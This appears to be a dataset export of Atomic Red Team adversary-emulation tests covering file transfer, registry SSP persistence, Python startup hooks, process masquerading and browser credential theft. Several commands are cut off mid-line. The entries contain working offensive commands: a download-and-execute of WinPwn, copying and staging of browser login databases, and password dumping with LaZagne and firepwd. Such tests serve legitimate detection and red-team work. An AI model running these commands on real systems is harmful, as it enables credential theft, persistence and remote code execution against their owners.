deardaniel/secdata-raw huggingface dataset:
Atomic Red Team — T1105: Ingress Tool Transfer
Test: Windows pull file using scp.exe
Platforms: windows
Executor: powershell

Description:
This test simulates pulling files using SCP on a Windows environment.


Command:
scp.exe #{username}@#{remote_host}:#{remote_path} #{local_path}


Dependencies:
This test requires the `scp` command to be available on the system.
Atomic Red Team — T1105: Ingress Tool Transfer
Test: Windows push file using sftp.exe
Platforms: windows
Executor: powershell

Description:
This test simulates pushing files using SFTP on a Windows environment.


Command:
# Check if the folder exists, create it if it doesn't
$folderPath = "#{local_path}"
if (-Not (Test-Path -Path $folderPath)) {
    New-Item -Path $folderPath -ItemType Directory
}
# Create the file
$filePath = Join-Path -Path $folderPath -ChildPath "#{file_name}"
New-Item -Path $filePath -ItemType File -Force
Write-Output "File created: $filePath"
# Attack command
echo "put #{local_path}\#{file_name}" | sftp #{username}@#{remote_host}:#{remote_path}


Cleanup:
$filePath = Join-Path -Path "#{local_path}" -ChildPath "#{file_name}"
Remove-Item -Path $filePath -Force
Write-Output "File deleted: $filePath"


Dependencies:
This test requires the `sftp` command to be available on the system.
Atomic Red Team — T1105: Ingress Tool Transfer
Test: Windows pull file using sftp.exe
Platforms: windows
Executor: powershell

Description:
This test simulates pulling files using SFTP on a Windows environment.


Command:
sftp.exe #{username}@#{remote_host}:#{remote_path} #{local_path}


Dependencies:
This test requires the `sftp` command to be available on the system.
Atomic Red Team — T1105: Ingress Tool Transfer
Test: Download a file with OneDrive Standalone Updater
Platforms: windows
Executor: powershell

Description:
Uses OneDrive Standalone Updater to download a file from a specified URL by setting up the required registry keys.
This technique can be used to download files without executing anomalous executables.
Reference: https://lolbas-project.github.io/lolbas/Binaries/OneDriveStandaloneUpdater/


Command:
if (-not (Test-Path "#{onedrive_path}")) {
    Write-Host "OneDriveStandaloneUpdater.exe not found at #{onedrive_path}. Test cannot continue."
    exit 1
}

New-Item -Path "HKCU:\Software\Microsoft\OneDrive\UpdateOfficeConfig" -Force | Out-Null
Set-ItemProperty -Path "HKCU:\Software\Microsoft\OneDrive\UpdateOfficeConfig" -Name "UpdateRingSettingURLFromOC" -Value "#{remote_url}" -Type String -Force
Set-ItemProperty -Path "HKCU:\Software\Microsoft\OneDrive\UpdateOfficeConfig" -Name "ODSUUpdateXMLUrlFromOC" -Value "#{remote_url}" -Type String -Force
Set-ItemProperty -Path "HKCU:\Software\Microsoft\OneDrive\UpdateOfficeConfig" -Name "UpdateXMLUrlFromOC" -Value "#{remote_url}" -Type String -Force
Set-ItemProperty -Path "HKCU:\Software\Microsoft\OneDrive\UpdateOfficeConfig" -Name "UpdateOfficeCo

Cleanup:
Remove-Item -Path "HKCU:\Software\Microsoft\OneDrive\UpdateOfficeConfig" -Force -ErrorAction Ignore
Remove-Item -Path "$env:LOCALAPPDATA\Microsoft\OneDrive\StandaloneUpdater\PreSignInSettingsConfig.json" -Force -ErrorAction Ignore


Dependencies:
OneDriveStandaloneUpdater.exe must exist on disk at specified location
Atomic Red Team — T1105: Ingress Tool Transfer
Test: Curl Insecure Connection from a Pod
Platforms: containers
Executor: bash

Description:
Launches an Ubuntu pod, installs curl, and executes curl with insecure flags (-k/--insecure)
against a target URL. The pod is automatically deleted after execution.


Command:
kubectl run #{pod_name} --image=#{image_name} --restart=Never --rm -it -- curl -ksL #{remote_url}

Dependencies:
kubectl must be installed and configured
Atomic Red Team — T1547.005: Boot or Logon Autostart Execution: Security Support Provider
Test: Modify HKLM:\System\CurrentControlSet\Control\Lsa Security Support Provider configuration in registry
Platforms: windows
Executor: powershell

Description:
Add a value to a Windows registry Security Support Provider pointing to a payload .dll which will normally need to be copied in the system32 folder.
A common DLL used with this techquite is the minilib.dll from mimikatz, see https://pentestlab.blog/2019/10/21/persistence-security-support-provider/


Command:
$oldvalue = $(Get-ItemProperty HKLM:\System\CurrentControlSet\Control\Lsa -Name 'Security Packages' | Select-Object -ExpandProperty 'Security Packages');
Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name 'Security Packages old' -Value "$oldvalue";
$newvalue = "AtomicTest.dll";
Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -Name 'Security Packages' -Value $newvalue


Cleanup:
$oldvalue = $(Get-ItemPropertyValue -Path  "HKLM:\System\CurrentControlSet\Control\Lsa" -Name 'Security Packages old' | Select-Object -ExpandProperty 'Security Packages old');
Set-ItemProperty -Path HKLM:\System\CurrentControlSet\Control\Lsa -Name 'Security Packages' -Value "$oldvalue";
Remove-ItemP
Atomic Red Team — T1547.005: Boot or Logon Autostart Execution: Security Support Provider
Test: Modify HKLM:\System\CurrentControlSet\Control\Lsa\OSConfig Security Support Provider configuration in registry
Platforms: windows
Executor: powershell

Description:
Add a value to a Windows registry SSP key, simulating an adversarial modification of those keys.

Command:
$oldvalue = $(Get-ItemProperty HKLM:\System\CurrentControlSet\Control\Lsa\OSConfig -Name 'Security Packages' | Select-Object -ExpandProperty 'Security Packages');
Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa\OSConfig" -Name 'Security Packages old' -Value "$oldvalue";
$newvalue = "AtomicTest.dll";
Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig -Name 'Security Packages' -Value $newvalue


Cleanup:
$oldvalue = $(Get-ItemPropertyValue -Path  "HKLM:\System\CurrentControlSet\Control\Lsa\OSConfig" -Name 'Security Packages old' | Select-Object -ExpandProperty 'Security Packages old');
Set-ItemProperty -Path HKLM:\System\CurrentControlSet\Control\Lsa\OSConfig -Name 'Security Packages' -Value "$oldva
Atomic Red Team — T1546.018: Event Triggered Execution: Python Startup Hooks
Test: Python Startup Hook - atomic_hook.pth (Windows)
Platforms: windows
Executor: powershell

Description:
Executes code by placing a .pth file in the site-packages directory. 
Supports python.exe and python3.exe via input arguments.


Command:
$TempDir = Join-Path $env:TEMP "atomic_pth_win"
New-Item -ItemType Directory -Path $TempDir -Force
& "#{python_exe}" -m venv "$TempDir\env"
$SitePackages = & "$TempDir\env\Scripts\python.exe" -c "import site; print(site.getsitepackages()[1])"
"import os, subprocess; os.environ.get('CALC_SPAWNED') or (os.environ.update({'CALC_SPAWNED':'1'}) or subprocess.Popen(['calc.exe']))" | Out-File -Encoding ASCII "$SitePackages\atomic_hook.pth"
Get-ChildItem -Path "$SitePackages" | Where-Object { $_.Name -like "*.pth" }
& "$TempDir\env\Scripts\python.exe" -c "print('Triggering Hook via atomic_hook...')"


Cleanup:
if (-not (Get-ChildItem -Path $env:TEMP -ErrorAction SilentlyContinue | Where-Object Name -like 'atomic_pth_win')) { Write-Host "[!] Artifact missing: $env:Temp\atomic_pth_win Folder - [-] Please Run : Invoke-AtomicTest T1546.018"; exit 1 };
Remove-Item -Path "$env:TEMP\atomic_pth_win" -Recurse -For

Dependencies:
Python must be installed and the specified binary (#{python_exe}) must be in the PATH.
Atomic Red Team — T1546.018: Event Triggered Execution: Python Startup Hooks
Test: Python Startup Hook - usercustomize.py (Windows)
Platforms: windows
Executor: powershell

Description:
Executes code via usercustomize.py. This is a per-user persistence mechanism 
that does not require Administrative privileges.


Command:
$UserDir = & "#{python_exe}" -c "import site; print(site.getusersitepackages())"
if (!(Test-Path $UserDir)) { New-Item -ItemType Directory -Path $UserDir -Force }
"import os; os.system('calc.exe')" | Out-File -FilePath "$UserDir\usercustomize.py" -Encoding ASCII
Get-ChildItem -Path "$UserDir"
& "#{python_exe}" -c "print('Triggering Hook via usercustomize...')"


Cleanup:
$PyBin = if (Get-Command "#{python_exe}" -ErrorAction SilentlyContinue) { "#{python_exe}" } elseif (Get-Command "python3.exe" -ErrorAction SilentlyContinue) { "python3.exe" } else { "python.exe" }; 
$UserDir = & $PyBin -S -c "import site; print(site.getusersitepackages())"
if (-not (Get-ChildItem -P

Dependencies:
Python must be installed and the specified binary (#{python_exe}) must be in the PATH.
Atomic Red Team — T1546.018: Event Triggered Execution: Python Startup Hooks
Test: Python Startup Hook - atomic_hook.pth (Linux)
Platforms: linux
Executor: sh

Description:
Executes code by creating atomic_hook.pth in the site-packages directory. 
This script runs automatically for every user on the system when Python starts.


Command:
TEMPDIR="/tmp/atomic_sitecust_posix"
mkdir -p "$TEMPDIR"
"#{python_exe}" -m venv "$TEMPDIR/env"
SITE_PACKAGES=$("$TEMPDIR/env/bin/#{python_exe}" -c "import site; print(site.getsitepackages()[0])")
echo "import os; os.system('cat /etc/passwd 1> /tmp/atomic_hook_poc.txt')" > "$SITE_PACKAGES/atomic_hook.pth"
ls -la "$SITE_PACKAGES/atomic_hook.pth"
"$TEMPDIR/env/bin/python" -c "print('Triggering Hook via atomic_hook...')"
if [ -f /tmp/atomic_hook_poc.txt ]; then echo "[+] Success: atomic_hook_poc.txt created under /tmp \n" $(ls -la /tmp/ | grep -w atomic_hook_poc.txt); else echo "Failed: /tmp/atomic_hook_poc.txt not found"; fi


Cleanup:
if [ ! -f /tmp/atomic_hook_poc.txt ] || [ ! -d /tmp/atomic_sitecust_posix ]; then echo "[!] Missing artifact or folder: /tmp/atomic_hook_poc.txt or /tmp/atomic_sitecust_posix — [-] Please Run : Invoke-AtomicTest T1546.018"; exit 0; fi
rm -rf /tmp/atomic_sitecust_posix
echo "[+] Successful Removed at

Dependencies:
Python must be installed and the specified binary (#{python_exe}) must be in the PATH.
Atomic Red Team — T1546.018: Event Triggered Execution: Python Startup Hooks
Test: Python Startup Hook - atomic_hook.pth (macOS)
Platforms: macos
Executor: sh

Description:
Creates a Python startup hook using a .pth file inside a virtual environment on macOS.


Command:
PYTHON_EXE=$(command -v #{python_exe} || command -v python)
TEMPDIR=$(mktemp -d /tmp/atomic_python_hook_XX)
echo "$TEMPDIR" > /tmp/atomic_python_hook_path.txt
$PYTHON_EXE -m venv "$TEMPDIR/env"
SITE_PACKAGES=$("$TEMPDIR/env/bin/#{python_exe}" -c "import site; print(site.getsitepackages()[0])")
echo "import subprocess; subprocess.Popen(['open', '-a', '#{exe_name}'])" > "$SITE_PACKAGES/atomic_hook.pth"
"$TEMPDIR/env/bin/python" -c "print('Triggering Hook via atomic_hook...')"


Cleanup:
if [ ! -f /tmp/atomic_python_hook_path.txt ] || [ ! -d $(cat /tmp/atomic_python_hook_path.txt) ]; then echo "[!] Artifact missing: /tmp/atomic_python_hook_path.txt — [-] Please Run : Invoke-AtomicTest T1546.018"; exit 0; fi
pkill "#{exe_name}" || true
[ -f /tmp/atomic_python_hook_path.txt ] && rm -r

Dependencies:
Python must be installed and the specified binary (#{python_exe}) must be in the PATH.
Atomic Red Team — T1546.018: Event Triggered Execution: Python Startup Hooks
Test: Python Startup Hook - usercustomize.py (Linux / MacOS)
Platforms: linux, macos
Executor: sh

Description:
Executes code via usercustomize.py. This is a per-user persistence mechanism 
that does not require root privileges.


Command:
PYTHON_EXE=$(command -v #{python_exe} || command -v python)
USER_PACKAGES=$($PYTHON_EXE -c "import site; print(site.getusersitepackages())")
mkdir -p "$USER_PACKAGES"
echo "import os; os.system('date > /tmp/poc.txt')" > "$USER_PACKAGES/usercustomize.py"
if [ -f "$USER_PACKAGES/usercustomize.py" ]; then echo "Success: usercustomize.py created under $USER_PACKAGES\n" $(ls -la "$USER_PACKAGES" | grep usercustomize*); else echo "Failed: usercustomize.py not found under $USER_PACKAGES"; fi
$PYTHON_EXE -c "print('Triggering Hook via usercustomize.py...')"
if [ -f /tmp/poc.txt ]; then echo "Success: poc.txt created under /tmp\n" $(ls -la /tmp/ | grep -w poc.txt); else echo "Failed: /tmp/poc.txt not found"; fi


Cleanup:
PYTHON_CMD=$(command -v #{python_exe} || command -v python)
USER_PACKAGES=$($PYTHON_CMD -S -c "import site; print(site.getusersitepackages())")
if [ ! -f /tmp/poc.txt ] || [ ! -f $USER_PACKAGES/usercustomize.py ]; then echo "[!] Artifact missing: /tmp/poc.txt and $USER_PACKAGES/usercustomize.py — [-

Dependencies:
Python must be installed and the specified binary (#{python_exe}) must be in the PATH.
Atomic Red Team — T1036.005: Masquerading: Match Legitimate Name or Location
Test: Execute a process from a directory masquerading as the current parent directory
Platforms: macos, linux
Executor: sh

Description:
Create and execute a process from a directory masquerading as the current parent directory (`...` instead of normal `..`)


Command:
mkdir $HOME/...
cp $(which sh) $HOME/...
$HOME/.../sh -c "echo #{test_message}"


Cleanup:
rm -f $HOME/.../sh
rmdir $HOME/.../
Atomic Red Team — T1036.005: Masquerading: Match Legitimate Name or Location
Test: Masquerade as a built-in system executable
Platforms: windows
Executor: powershell

Description:
Launch an executable that attempts to masquerade as a legitimate executable.


Command:
Add-Type -TypeDefinition @'
public class Test {
    public static void Main(string[] args) {
        System.Console.WriteLine("tweet, tweet");
    }
}
'@ -OutputAssembly "#{executable_filepath}"

Start-Process -FilePath "#{executable_filepath}"


Cleanup:
Remove-Item -Path "#{executable_filepath}" -ErrorAction Ignore
Atomic Red Team — T1036.005: Masquerading: Match Legitimate Name or Location
Test: Masquerading cmd.exe as VEDetector.exe
Platforms: windows
Executor: powershell

Description:
This test simulates an adversary renaming cmd.exe to VEDetector.exe to masquerade as a legitimate application.
The test copies cmd.exe, renames it to VEDetector.exe, adds a registry run key for persistence, and executes the renamed binary.
This technique may be used to evade detection by mimicking legitimate software names or locations.

**Expected Output:**
- A new process named VEDetector.exe appears in the process list, but its behavior matches cmd.exe.
- SIEM/EDR systems may detect this as suspicious process activity (e.g., Sysmon Event ID 1 for process creation, or Event ID 13 for registry modifications).
- Registry modification in HKLM:\Software\Microsoft\Windows\CurrentVersion\Run may trigger persistence alerts in XDR platforms.

**References:**
- [MITRE ATT&CK T1036.005](https://attack.mitre.org/techniques/T1036/005/)
- [Sysmon Process Creation](https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon)


Command:
# Copy and rename cmd.exe to VEDetector.exe
Copy-Item -Path "#{source_file}" -Destination "#{ved_path}\VEDetector.exe" -Force

# Create registry run key for persistence
New-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "VEDetector" -Value "#{ved_path}\VEDetector.exe" -PropertyType String -Force

# Start the renamed process
Start-Process -FilePath "#{ved_path}\VEDetector.exe"

Start-Sleep -Seconds 5


Cleanup:
# Remove registry key
Remove-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "VEDetector" -ErrorAction SilentlyContinue

# Stop the process
Stop-Process -Name "VEDetector" -Force -ErrorAction SilentlyContinue

# Remove the file
Remove-Item -Path "#{ved_path}\VEDetector

Dependencies:
The source cmd.exe file must exist on the system.
Atomic Red Team — T1555.003: Credentials from Password Stores: Credentials from Web Browsers
Test: Run Chrome-password Collector
Platforms: windows
Executor: powershell

Description:
A modified sysinternals suite will be downloaded and staged. The Chrome-password collector, renamed accesschk.exe, will then be executed from #{file_path}.

Successful execution will produce stdout message stating "Copying db ... passwordsDB DB Opened. statement prepare DB connection closed properly". Upon completion, final output will be a file modification of PathToAtomicsFolder\..\ExternalPayloads\sysinternals\passwordsdb.

Adapted from [MITRE ATTACK Evals](https://github.com/mitre-attack/attack-arsenal/blob/66650cebd33b9a1e180f7b31261da1789cdceb66/adversary_emulation/APT29/CALDERA_DIY/evals/data/abilities/credential-access/e7cab9bb-3e3a-4d93-99cc-3593c1dc8c6d.yml)


Command:
Start-Process "#{file_path}\Sysinternals\accesschk.exe" -ArgumentList "-accepteula ."


Cleanup:
Remove-Item "#{file_path}\Sysinternals" -Force -Recurse -ErrorAction Ignore


Dependencies:
Modified Sysinternals must be located at #{file_path}
Atomic Red Team — T1555.003: Credentials from Password Stores: Credentials from Web Browsers
Test: Search macOS Safari Cookies
Platforms: macos
Executor: sh

Description:
This test uses `grep` to search a macOS Safari binaryCookies file for specified values. This was used by CookieMiner malware.

Upon successful execution, MacOS shell will cd to `~/Libraries/Cookies` and grep for `Cookies.binarycookies`.


Command:
cd ~/Library/Cookies
grep -q "#{search_string}" "Cookies.binarycookies"
Atomic Red Team — T1555.003: Credentials from Password Stores: Credentials from Web Browsers
Test: LaZagne - Credentials from Browser
Platforms: windows
Executor: command_prompt

Description:
The following Atomic test utilizes [LaZagne](https://github.com/AlessandroZ/LaZagne) to extract passwords from browsers on the Windows operating system.
LaZagne is an open source application used to retrieve passwords stored on a local computer. 


Command:
"#{lazagne_path}" browsers


Dependencies:
LaZagne.exe must exist on disk at specified location (#{lazagne_path})
Atomic Red Team — T1555.003: Credentials from Password Stores: Credentials from Web Browsers
Test: Simulating access to Chrome Login Data
Platforms: windows
Executor: powershell

Description:
Simulates an adversary accessing encrypted credentials from Google Chrome Login database. 


Command:
Copy-Item "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data" -Destination "PathToAtomicsFolder\..\ExternalPayloads"
Copy-Item "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data For Account" -Destination "PathToAtomicsFolder\..\ExternalPayloads"


Cleanup:
Remove-Item -Path "PathToAtomicsFolder\..\ExternalPayloads\Login Data" -Force -ErrorAction Ignore
Remove-Item -Path "PathToAtomicsFolder\..\ExternalPayloads\Login Data For Account" -Force -ErrorAction Ignore


Dependencies:
Chrome must be installed
Atomic Red Team — T1555.003: Credentials from Password Stores: Credentials from Web Browsers
Test: Simulating access to Opera Login Data
Platforms: windows
Executor: powershell

Description:
Simulates an adversary accessing encrypted credentials from Opera web browser's login database. 


Command:
Copy-Item "$env:APPDATA\Opera Software\Opera Stable\Login Data" -Destination "PathToAtomicsFolder\..\ExternalPayloads"


Cleanup:
Remove-Item -Path "PathToAtomicsFolder\..\ExternalPayloads\Login Data" -Force -ErrorAction Ignore


Dependencies:
Opera must be installed

Opera login data file must exist
Atomic Red Team — T1555.003: Credentials from Password Stores: Credentials from Web Browsers
Test: Simulating access to Windows Firefox Login Data
Platforms: windows
Executor: powershell

Description:
Simulates an adversary accessing encrypted credentials from firefox web browser's login database.
more info in https://support.mozilla.org/en-US/kb/profiles-where-firefox-stores-user-data


Command:
Copy-Item "$env:APPDATA\Mozilla\Firefox\Profiles\" -Destination "PathToAtomicsFolder\..\ExternalPayloads" -Force -Recurse


Cleanup:
Remove-Item -Path "PathToAtomicsFolder\..\ExternalPayloads\Profiles" -Force -ErrorAction Ignore -Recurse


Dependencies:
Firefox must be installed

Firefox login data file must exist
Atomic Red Team — T1555.003: Credentials from Password Stores: Credentials from Web Browsers
Test: Simulating access to Windows Edge Login Data
Platforms: windows
Executor: powershell

Description:
Simulates an adversary accessing encrypted credentials from Edge web browser's login database.
more info in https://www.forensicfocus.com/articles/chromium-based-microsoft-edge-from-a-forensic-point-of-view/


Command:
Copy-Item "$env:LOCALAPPDATA\Microsoft\Edge\User Data\Default" -Destination "PathToAtomicsFolder\..\ExternalPayloads\Edge" -Force -Recurse


Cleanup:
Remove-Item -Path "PathToAtomicsFolder\..\ExternalPayloads\Edge" -Force -ErrorAction Ignore -Recurse


Dependencies:
Edge must be installed

Edge login data file must exist
Atomic Red Team — T1555.003: Credentials from Password Stores: Credentials from Web Browsers
Test: Decrypt Mozilla Passwords with Firepwd.py
Platforms: windows
Executor: powershell

Description:
Firepwd.py is a script that can decrypt Mozilla (Thunderbird, Firefox) passwords.
Upon successful execution, the decrypted credentials will be output to a text file, as well as displayed on screen. 

Will create a Python virtual environment within the External Payloads folder that can be deleted manually post test execution.


Command:
$PasswordDBLocation = get-childitem -path "$env:appdata\Mozilla\Firefox\Profiles\*.default-release\"
cmd /c #{venv_path}\Scripts\python.exe #{Firepwd_Path} -d $PasswordDBLocation > #{Out_Filepath}
cat #{Out_Filepath}


Cleanup:
Remove-Item -Path "#{Out_Filepath}" -erroraction silentlycontinue   


Dependencies:
Firefox profile directory must be present

Visual Studio Build Tools command prompt must exist at #{VS_CMD_Path}

Python must be installed
Atomic Red Team — T1555.003: Credentials from Password Stores: Credentials from Web Browsers
Test: LaZagne.py - Dump Credentials from Firefox Browser
Platforms: linux
Executor: sh

Description:
Credential Dump Ubuntu 20.04.4 LTS Focal Fossa Firefox Browser, Reference https://github.com/AlessandroZ/LaZagne

Command:
python3 #{lazagne_path}/laZagne.py #{specific_module} >> #{output_file}

Cleanup:
rm -R /tmp/LaZagne; rm -f #{output_file}

Dependencies:
Get Lazagne from Github and install requirements
Needs git, python3 and some pip stuff
Atomic Red Team — T1555.003: Credentials from Password Stores: Credentials from Web Browsers
Test: Stage Popular Credential Files for Exfiltration
Platforms: windows
Executor: powershell

Description:
This test is designed to search a drive for credential files used by the most common web browsers on Windows (Firefox, Chrome, Opera, and Edge), export the found files to a folder, and zip it,
simulating how an adversary might stage sensitive credential files for exfiltration in order to conduct offline password extraction with tools like [firepwd.py](https://github.com/lclevy/firepwd) or [HackBrowserData](https://github.com/moonD4rk/HackBrowserData). 


Command:
$exfil_folder = "$env:temp\T1555.003"
if (test-path "$exfil_folder") {} else {new-item -path "$env:temp" -Name "T1555.003" -ItemType "directory" -force}
$FirefoxCredsLocation = get-childitem -path "$env:appdata\Mozilla\Firefox\Profiles\*.default-release\"
if (test-path "$FirefoxCredsLocation\key4.db") {copy-item "$FirefoxCredsLocation\key4.db" -destination "$exfil_folder\T1555.003Firefox_key4.db"} else {}
if (test-path "$FirefoxCredsLocation\logins.json") {copy-item "$FirefoxCredsLocation\logins.json" -destination "$exfil_folder\T1555.003Firefox_logins.json"} else {}
if (test-path "$env:localappdata\Google\Chrome\User Data\Default\Login Data") {copy-item "$env:localappdata\Google\Chrome\User Data\Default\Login Data" -destination "$exfil_folder\T1555.003Chrome_Login Data"} else {}
if (test-

Cleanup:
Remove-Item -Path "$env:temp\T1555.003.zip" -force -erroraction silentlycontinue   
Remove-Item -Path "$env:temp\T1555.003\" -force -recurse -erroraction silentlycontinue
Atomic Red Team — T1555.003: Credentials from Password Stores: Credentials from Web Browsers
Test: WinPwn - BrowserPwn
Platforms: windows
Executor: powershell

Description:
Collect Browser credentials as well as the history via winpwn browserpwn function of WinPwn.

Command:
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
browserpwn -consoleoutput -noninteractive

Cleanup:
rm .\System.Data.SQLite.dll -ErrorAction Ignore